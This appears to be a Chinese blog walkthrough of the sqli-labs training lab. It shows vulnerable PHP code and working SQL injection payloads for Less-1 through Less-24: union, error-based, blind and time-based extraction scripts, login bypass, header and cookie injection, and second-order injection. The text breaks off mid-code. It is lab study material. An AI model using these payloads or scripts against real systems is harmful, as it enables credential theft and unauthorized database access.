Contents
  1. 1. Less-1 union
  2. 2. Less-2 union
  3. 3. Less-3 union
  4. 4. Less-4 union
  5. 5. Less-5
  6. 6. Less-6
  7. 7. Less-7
  8. 8. Less-8
  9. 9. Less-9
  10. 10. Less-10
  11. 11. Less-11 login inject
  12. 12. Less-12 login inject
  13. 13. Less-13 login inject
  14. 14. Less-14 login inject
  15. 15. Less-15 login inject
  16. 16. Less-16 login inject
  17. 17. Less-17 update
  18. 18. Less-18 insert
  19. 19. Less-19 insert
  20. 20. Less-20 cookie
  21. 21. Less-21 cookie
  22. 22. Less-22 cookie
  23. 23. Less-23
  24. 24. Less-24 二次注入
  25. 25. Less-25
  26. 26. Less-26
  27. 27. Less-27
  28. 28. Less-28
  29. 29. Less-29
  30. 30. Less-30
  31. 31. Less-31
  32. 32. Less-32
  33. 33. Less-33
  34. 34. Less-34
  35. 35. Less-35
  36. 36. Less-36
  37. 37. Less-37
  38. 38. Less-38 Stacked injection
  39. 39. Less-39 Stacked injection
  40. 40. Less-40 Stacked injection
  41. 41. Less-41 Stacked injection
  42. 42. Less-42 Stacked injection
  43. 43. Less-43 Stacked injection
  44. 44. Less-44 Stacked injection
  45. 45. Less-45 Stacked injection
  46. 46. Less-46 order by 后的注入
  47. 47. Less-47 order by 后的注入
  48. 48. Less-48 order by后的注入
  49. 49. Less-49 order by后的注入
  50. 50. Less-50 order by stacked injection
  51. 51. Less-51 order by stacked injection
  52. 52. Less-52 order by stacked injection
  53. 53. Less-53 order by stacked injection
  54. 54. Less-54
  55. 55. Less-55
  56. 56. Less-56
  57. 57. Less-57
  58. 58. Less-58
  59. 59. Less-59
  60. 60. Less-60
  61. 61. Less-61
  62. 62. Less-62
  63. 63. Less-63
  64. 64. Less-64
  65. 65. Less-65
  66. 66. 参考资料

国庆假期把sqli-labs刷完了,感觉收获很大

Less-1 union

http://localhost/sqli-labs/Less-1/?id=1
sql语句

1
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

table_name

1
http://localhost/sqli-labs/Less-1/?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()  --+

Your Login name:emails,referers,uagents,users

column_name

1
http://localhost/sqli-labs/Less-1/?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = database() and table_name = 'users' --+

Your Login name:id,username,password

data

1
http://localhost/sqli-labs/Less-1/?id=1' and 1=2 union select 1,group_concat(id,':',username,':',password,' '),3 from users --+

Your Login name:1:Dumb:Dumb ,2:Angelina:I-kill-you ,3:Dummy:p@ssword ,4:secure:crappy ,5:stupid:stupidity ,6:superman:genious ,7:batman:mob!le ,8:admin:admin ,9:admin1:admin1 ,10:admin2:admin2 ,11:admin3:admin3 ,12:dhakkan:dumbo ,14:admin4:admin4

Less-2 union

http://localhost/sqli-labs/Less-2/?id=1

sql

1
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

payload

1
http://localhost/sqli-labs/Less-2/?id=1 and 1=2  union select 1,group_concat(id,":",username,":",password," "),3 from users--+

Less-3 union

sql

1
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

payload

1
http://localhost/sqli-labs/Less-3/?id=1') and 1=2 union select 1,group_concat(id,":",username,":",password," "),3 from users--+

Less-4 union

sql

1
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

payload

1
http://localhost/sqli-labs/Less-4/?id=1") and 1=2 union select 1,group_concat(id,":",username,":",password," "),3  from users--+

Less-5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}

报错注入

1
http://localhost/sqli-labs/less-5/?id=-1' or updatexml(0,concat(0x7e,(select group_concat(id,username,password) from users)),1)%23

基于布尔的盲注,这里贴上二分法盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
import requests
url = "http://localhost/sqli-labs/less-5/?id=1"
key = "You"


def dblength(url):
dbLen = -1
start = 0
stop = 100
while (start <= stop):
mid = int((start + stop) / 2)
payload = "' and length(database())>{0}%23".format(mid)
reqUrl = url + payload
print(reqUrl)
cont = requests.get(reqUrl)
conTrue = requests.get(url + "' and length(database())={0}%23".format(mid))
if(key in conTrue.text):
dbLen = mid
break

if (key in cont.text):
start = mid
else:
stop = mid

return dbLen

def SearchdbName(url,dbLen):
DbName = ""
for i in range(dbLen):
i += 1
print("[+]Test {0} Bytes".format(i))
start = 32
stop = 127
while (start <= stop):
mid = int((start + stop)/2)
payload = "' and ascii(mid((database()),{0},1))>{1}%23".format(i,str(mid))
reqUrl = url + payload
print(reqUrl)
cont = requests.get(reqUrl)
conTrue = requests.get(url + "' and ascii(mid((database()),{0},1))={1}%23".format(i,str(mid)))
if(key in conTrue.text):
DbName += chr(mid)
print(DbName)
break
elif(key in cont.text):
#print("[+] start",start,stop,mid)
start = mid
else:
stop = mid
return DbName



def tableLen(url):
dbLen = -1
start = 0
stop = 100
while (start <= stop):
mid = int((start + stop) / 2)
payload = "' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>{0}%23".format(mid)
reqUrl = url + payload
print(reqUrl)
cont = requests.get(reqUrl)
conTrue = requests.get(url + "' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={0}%23".format(mid))
if(key in conTrue.text):
dbLen = mid
break

if (key in cont.text):
start = mid
else:
stop = mid

return dbLen

def SearchTbName(url,dbLen):
DbName = ""
for i in range(dbLen):
i += 1
print("[+]Test {0} Bytes".format(i))
start = 32
stop = 127
while (start <= stop):
mid = int((start + stop)/2)
payload = "' and ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}%23".format(i,str(mid))
reqUrl = url + payload
print(reqUrl)
cont = requests.get(reqUrl)
conTrue = requests.get(url + "' and ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))={1}%23".format(i,str(mid)))
if(key in conTrue.text):
DbName += chr(mid)
print(DbName)
break
elif(key in cont.text):
#print("[+] start",start,stop,mid)
start = mid
else:
stop = mid
return DbName

def columnLen(url,tableName):
dbLen = -1
start = 0
stop = 100
while (start <= stop):
mid = int((start + stop) / 2)
payload = "' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{0}'))>{1}%23".format(tableName,mid)
reqUrl = url + payload
print(reqUrl)
cont = requests.get(reqUrl)
conTrue = requests.get(url + "' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{0}'))={1}%23".format(tableName,mid))
if(key in conTrue.text):
dbLen = mid
break

if (key in cont.text):
start = mid
else:
stop = mid

return dbLen

def SearchCnName(url,dbLen,tableName):
DbName = ""
for i in range(dbLen):
i += 1
print("[+]Test {0} Bytes".format(i))
start = 32
stop = 127
while (start <= stop):
mid = int((start + stop)/2)
payload = "' and ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{0}'),{1},1))>{2}%23".format(tableName,i,str(mid))
reqUrl = url + payload
print(reqUrl)
cont = requests.get(reqUrl)
conTrue = requests.get(url + "' and ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{0}'),{1},1))={2}%23".format(tableName,i,str(mid)))
if(key in conTrue.text):
DbName += chr(mid)
print(DbName)
break
elif(key in cont.text):
#print("[+] start",start,stop,mid)
start = mid
else:
stop = mid
return DbName

def DataLen(url,ColumnName,tableName):
dbLen = -1
start = 0
stop = 1000
while (start <= stop):
mid = int((start + stop) / 2)
payload = "' and length((select group_concat({0}) from {1}))>{2}%23".format(ColumnName,tableName,mid)
reqUrl = url + payload
print(reqUrl)
cont = requests.get(reqUrl)
conTrue = requests.get(url + "' and length((select group_concat({0}) from {1}))={2}%23".format(ColumnName,tableName,mid))
if(key in conTrue.text):
dbLen = mid
break

if (key in cont.text):
start = mid
else:
stop = mid

return dbLen



def SearchDataName(url,dbLen,ColumnName,tableName):
DbName = ""
for i in range(dbLen):
i += 1
print("[+]Test {0} Bytes".format(i))
start = 32
stop = 127
while (start <= stop):
mid = int((start + stop)/2)
payload = "' and ascii(mid((select group_concat({0}) from {1}),{2},1))>{3}%23".format(ColumnName,tableName,i,str(mid))
reqUrl = url + payload
#print(reqUrl)
cont = requests.get(reqUrl)
conTrue = requests.get(url + "' and ascii(mid((select group_concat({0}) from {1}),{2},1))={3}%23".format(ColumnName,tableName,i,str(mid)))
print(url + "' and ascii(mid((select group_concat({0}) from {1}),{2},1))>{3}%23".format(ColumnName,tableName,i,str(mid)))
if(key in conTrue.text):
DbName += chr(mid)
print(DbName)
break
elif(key in cont.text):
#print("[+] start",start,stop,mid)
start = mid
else:
stop = mid
return DbName




dbLen = dblength(url)
print("[+]DataBase Length",dbLen)
DbName = SearchdbName(url,dbLen)
print("[+]DataBase Name",DbName)
tbLen = tableLen(url)
print("[+]Table Length",tbLen)
TbName = SearchTbName(url,tbLen)
print("[+]Table Name",TbName)

tableName='users'
CnLen = columnLen(url,tableName)
print("[+]Column Length",CnLen)
CnName = SearchCnName(url,CnLen,tableName)
print("[+]Column Name",CnName)

ColumnName = CnName
DaLen = DataLen(url,ColumnName,tableName)
print("[+]Data Length",DaLen)
DaName = SearchDataName(url,DaLen,ColumnName,tableName)
print("[+]Data Name",DaName)

Less-6

1
2
3
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);

sql语句拼接发生了变化,仍然可以用上一题的注入方法,稍微修改下payload即可

报错注入

1
http://localhost/sqli-labs/less-6/?id=-1" or updatexml(0,concat(0x7e,(select group_concat(id,username,password) from users)),1)%23

盲注

1
url = "http://localhost/sqli-labs/less-6/?id=1" and length(database())>0%23

Less-7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font color= "#FFFF00">';
echo 'You are in.... Use outfile......';
echo "<br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
echo "</font>";
}
}

这里的sql语句拼接变成了(('id')),屏蔽了报错函数,只能使用盲注了

1
url = "http://localhost/sqli-labs/less-7/?id=1')) and length(database())>0%23

Less-8

1
2
3
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

sql语句拼接变成了id='$id',同样屏蔽报错函数,使用盲注

1
url = "http://localhost/sqli-labs/less-8/?id=1' and length(database())>0%23

Less-9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}

Less-9这里正确和错误的页面返回一致,并且屏蔽了报错函数,只能使用延时注入(基于时间的盲注)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#coding=utf8
import requests
import time

flag = ''
url = "http://localhost/sqli-labs/less-9/?id=1'"

dbLen = 0
while True:
dbLen +=1
reqUrl = url +" and if(length(database())={0},sleep(3),1)%23".format(dbLen)
start_time = time.time()
res = requests.get(reqUrl)
end_time = time.time()
print(reqUrl,end_time - start_time)
if (end_time - start_time) > 2:
break

print("dbLen",dbLen)



#猜解数据库名
for i in range(dbLen):
for c in range(32,127):
reqUrl = url +" and if(ascii(mid((database()),{0},1))={1},sleep(3),1)%23".format(str(i+1),str(c))
#print(reqUrl)
start_time = time.time()
requests.get(reqUrl)
end_time = time.time()
print(reqUrl, end_time - start_time)
if (end_time - start_time) > 2:
flag += chr(c)
print(flag)
break

print('data:',flag)

Less-10

1
2
3
4
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

这里也是拼接发生了变化,同样使用基于时间的盲注,修改payload即可

1
http://localhost/sqli-labs/less-9/?id=1"

Less-11 login inject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
//echo '<font color= "#0000ff">';

echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in\n\n " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';

echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}

这里是登陆页面,可以使用万能密码来绕过登陆,同时存在报错注入

万能密码

1
uname=admin%27+%23&passwd=&submit=Submit

1570240504458

报错注入

1
uname=' or updatexml(1,concat(0x7e,(select group_concat(id,0x7e,username,0x7e,password) from users)),0) #&passwd=&submit=Submit

1570240840748

Less-12 login inject

1
2
3
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

这里只是语句拼接发生了变化,稍微修改payload即可

万能密码登陆

1
uname=admin%22%29+%23&passwd=&submit=Submit

1570241269081

报错注入

1
uname=") or updatexml(1,concat(0x7e,(select group_concat(id,0x7e,username,0x7e,password) from users)),0) #&passwd=&submit=Submit

1570241395722

Less-13 login inject

1
2
3
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

这里也是sql语句拼接发生了变化,没有屏蔽报错函数,所以还可以通过报错注入

万能密码注入

1
uname=admin') #&passwd=&submit=Submit

1570241660067

报错注入

1
uname=') or updatexml(1,concat(0x7e,(select group_concat(id,0x7e,username,0x7e,password) from users)),0) #&passwd=&submit=Submit

1570241747631

Less-14 login inject

1
2
3
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

同样是拼接…
万能密码

1
uname=admin"#&passwd=&submit=Submit

1570242076248

报错注入

1
uname=" or updatexml(1,concat(0x7e,(select group_concat(id,0x7e,username,0x7e,password) from users)),0) #&passwd=&submit=Submit

1570242028313

Less-15 login inject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
//echo '<font color= "#0000ff">';

echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in\n\n " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
//echo 'Your Login name:'. $row['username'];
echo "<br>";
//echo 'Your Password:' .$row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';

echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}

这里屏蔽了报错语句,同样可以采用万能密码,但是不能使用报错注入了,只能使用盲注

万能密码

1
uname=admin'#&passwd=&submit=Submit

1570242362924

盲注,这里使用时间盲注

直接附上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#coding=utf8
import requests
import time

flag = ''
url = "http://localhost/sqli-labs/less-15/"

dbLen = 0
while True:
dbLen +=1
payload = "admin' and if(length(database())={0},sleep(3),1)#".format(dbLen)
datas = {
"uname":payload,
"passwd":"",
"submit":"Submit"
}
start_time = time.time()
res = requests.post(url,datas).text
end_time = time.time()
print(payload,end_time - start_time)
if (end_time - start_time) > 3:
break

print("dbLen",dbLen)

#猜解数据库名
for i in range(dbLen):
for c in range(32,127):
payload = "admin' and if(ascii(mid((database()),{0},1))={1},sleep(3),1)#".format(str(i+1),str(c))
datas = {
"uname": payload,
"passwd": "",
"submit": "Submit"
}
start_time = time.time()
res = requests.post(url, datas).text
end_time = time.time()
print(url,datas,end_time - start_time)
if (end_time - start_time) > 3:
flag += chr(c)
print(flag)
break

print('data:',flag)

Less-16 login inject

1
2
3
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

这里同样屏蔽了报错语句,与上题相比只是修改了sql拼接语句,这里稍微修改下payload即可

万能密码

1
uname=admin") #&passwd=&submit=Submit

1570244737713

盲注

1
admin") and if(length(database())={0},sleep(3),1)#

修改盲注脚本的payload即可

Less-17 update

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$uname = check_input($_POST['uname']);  
$passwd = $_POST['passwd'];

@$sql = "SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
$row1 = $row['username'];
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);

if (mysql_error())
print_r(mysql_error());

echo '<img src="../images/flag1.jpg"/>';
}
else
echo '<img src="../images/slap1.jpg"/>';

可以看到uname这里进行了check_input函数过滤,并且上面的查询语句只要返回一个最终结果就可以,判断注入点存在于passwd处,一般通过报错和时间盲注的方式对,update语句进行注入。

update 报错注入

前面一切顺利

1
uname=admin&passwd=' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0)%23

当查询数据的时候会报错

1569638431081

在同一个语句中,不能先select出表中的某些值,再update这个表

可以将select出来的结果作为派生表再select一遍,这样可以避免该错误(该问题只会出现在mysql中,mssql与oracle不会出现此问题)

当SELECT语句的FROM子句中使用独立子查询时,我们将其称为派生表

1
2
> select * from (select * from table) as t;
>

利用派生表后的payload

1
uname=admin&passwd=' or updatexml(1,concat('#',(select * from (select group_concat('#',id,username,password) from users) as a)),0)%23

成功注入出数据

1569639299895

基于时间的盲注

在update语句中,sleep语句会以大约十倍的时间进行延时,这里我们使用sleep(0.x)来缩小等待时间

1569640299552

构造语句,进行数据猜解

在update语句中进行update盲注需要在where后面加条件,否则的话,就是sleep*n(受影响的数据数量)的延时

同样是需要使用派生表查询

1
uname=admin&passwd='  where username ='admin' and if(ascii(substr((select * from (select group_concat('#',id,username,password) from users) as a),1,1))>30,sleep(3),1)%23

盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#coding=utf8
import requests
import time

flag = ''
url = "http://localhost/sqli-labs/Less-17/"
#猜解数据
for i in range(1,133):
for c in range(32,127):
data={
"uname":"admin",
"passwd":"' where username ='admin' and if(ascii(substr((select * from (select group_concat('#',id,username,password) from users) as a),{0},1))={1},sleep(3),1)#".format(str(i),str(c))
}
print("uname="+data["uname"]+"&"+"passwd="+data["passwd"])
start_time = time.time()
res = requests.post(url,data=data)
end_time = time.time()
if (end_time - start_time) > 2.5:
flag += chr(c)
print(flag)
break;

print('data:',flag)

Less-18 insert

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
	$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
print_r(mysql_error());
}
else
{
print_r(mysql_error());
}
}

?>

通过精简后的代码可以看出,unamepasswd两个参数被check_input参数过滤,不能够被注入,而经过查询后,带入数据库进行插入的参数里面有$uagent$IP$IP这里的获取使用了$_SERVER['REMOTE_ADDR'],这能直接获取TCP协议数据包的底层会话IP地址,它能被代理服务器或路由修改伪造,但非修改XFF头就可以更改的,那么剩下的突破点就在与$uagent,我们可以通过修改user-agent的方式来进行注入。

可以看到这里是insert注入,并且insert的结果我们看不到,而这里调用了mysql_error()函数,所以,这里我们同样可以使用报错注入

在insert注入中,我们的语句是放在values里面的,所以我们要和前面key的数量对应

1569655471946

payload

1
User-Agent: aasdf' or updatexml(1,concat('~',(database())),1),'','')#

1569655348036

注入出所有数据

1
User-Agent: aasdf' or updatexml(1,concat('~',(select group_concat(id,username,password) from users)),1),'','')#

1569655554750

这里同样可以使用基于时间的盲注

1
User-Agent: aasdf' or if(length((select group_concat(id,username,password) from users))=120,sleep(3),1),'','')#

Less-19 insert

1
2
$uagent = $_SERVER['HTTP_REFERER'];
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

Less-19与Less-18的区别在于将原来插入三个字段的数据,改成了插入两个字段,原来插入的user-agent改成了referer,注入点也就变成了referer

稍微修改下payload即可

报错注入

1
Referer:aasdf' or updatexml(1,concat('~',(select group_concat(id,username,password) from users)),1),'')#

1569656527217

基于时间的盲注

1
Referer:aasdf' or if(length((select group_concat(id,username,password) from users))=120,sleep(3),1),'')#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
if(!isset($_COOKIE['uname']))//如果cookie中没有用户名参数
{
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
$cookee = $row1['username'];
if($row1)
{
setcookie('uname', $cookee, time()+3600);
header ('Location: index.php');
print_r(mysql_error());
}
else
{
print_r(mysql_error());
}
}
}
else//如果用户名中有uname参数
{
if(!isset($_POST['submit']))//如果没有点击按钮
{
$cookee = $_COOKIE['uname'];
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";//查询
$result=mysql_query($sql);
if (!$result)//如果不存在就报错
{
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
if($row)//如果存在,则获取返回数据
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
echo 'Your ID:' .$row['id'];//输出id
}
else
{
}
else//如果没点击了按钮
{
setcookie('uname', $row1['username'], time()-3600);
header ('Location: index.php');
}
}
?>

通过看上面精简后的代码,可以看出这段代码的流程。

  • 在登陆页面传入账号密码,进行查询,将查询结果中的username,作为cookie
  • 在登陆后的页面中,会进行一个根据cookie中的用户名,进行查询,并将查询到的数据进行输出
  • 在登陆后的页面,点击按钮,设置cookie为失效

可以看出,刚开始的登陆页面的uname和passwd都是有过滤函数的,而登陆后的页面,则根据cookie中的值进行查询,没有任何的过滤参数,且cookie是明文保存,所以判断此处存在注入。

用burpsuite抓登陆后的包,在cookie处进行注入。

payload

1
Cookie: uname=admin' and 1=2 union select 1,group_concat(id,username,password),3 from users#

1569659136073

1
2
3
setcookie('uname', base64_encode($row1['username']), time()+3600);
$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";

Less-21与Less-20的区别就在于上面几行,在设置cookie前进行了一个base64编码,在查询时对其进行了解码,查询语句这里进行了小的修改。

根据上面的来构造payload

1
admin') and 1=2 union select 1,group_concat(id,username,password),3 from users#

将其进行base64编码

1
Cookie: uname=YWRtaW4nKSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdChpZCx1c2VybmFtZSxwYXNzd29yZCksMyBmcm9tIHVzZXJzIw==

1569662816661

1
2
3
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";

Less-22 和 Less21的区别在于修改了sql语句

payload为

1
admin" and 1=2 union select 1,group_concat(id,username,password),3 from users#

将其进行base64编码即可

1569665868740

Less-23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
if(isset($_GET['id']))
{
$id=$_GET['id'];
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
else
{
print_r(mysql_error());
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>

Less-23主要考察点在于,替换掉屏蔽符,我们必须结合后面的语句进行注入

据此构造payload(这里使用联合查询不好注入出数据,可以使用报错注入)

1
?id=1' and updatexml(1,concat('~',(select group_concat(id,username,password) from users)),1) or '1

1569671577125

Less-24 二次注入

二次注入攻击者将攻击语句通过与数据库交互的页面插入数据库,被插入数据库中的攻击语句被读取后再次进入插入语句导致了注入的发生。

在第一次进行数据库插入数据的时候,仅使用了addslashesget_magic_quotes_gpc对其中的特殊字符,进行了转义,但是在输入数据库时还是保留了输入的攻击语句,在数据存入到数据库之后,数据库会自动将转义数据还原,在下一次需要进行查询时,直接从数据库中去除了攻击语句,没有进行处理,攻击语句在新的语句中起到了作用,造成了二次注入。

可以看到转义后的payload,在插入到数据库中后被自动还原了

1569678881553

在网站的新用户注册页面login_crate.php有了数据转义但是没有进行任何过滤,可以直接将转义后的payload插入数据库中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if (isset($_POST['submit']))
{
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);

$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);

//print_r($row);
if (!$row[0]== 0)
{
<?php header('refresh:1, url=new_user.php');?>
}
else
{
if ($pass==$re_pass)
{
# Building up the query........
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
mysql_query($sql) or die('Error Creating your user account, : '.mysql_error());
header('refresh:5, url=index.php');
}
else
{
<?php header('refresh:1, url=new_user.php');?>
}
}
}

可以看到这里对用户名进行了查询,当查询不到要添加的用户名时,进行插入操作,只是简单的进行了过滤,中间没有任何过滤,构成了二次注入中的转义数据的插入。

login.php中把查询到的用户名,赋值给session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function sqllogin(){

$username = mysql_real_escape_string($_POST["login_user"]);//函数转义 SQL 语句中使用的字符串中的特殊字符,防止注入
$password = mysql_real_escape_string($_POST["login_password"]);//
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row) ;
if ($row[1]) {
return $row[1];
} else {
return 0;
}

}
$login = sqllogin();
if (!$login== 0)
{
$_SESSION["username"] = $login;
setcookie("Auth", 1, time()+3600); /* expire in 15 Minutes */
header('Location: logged-in.php');
}

pass_change.php中$username这里没有任何过滤,直接读取了session中的username

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
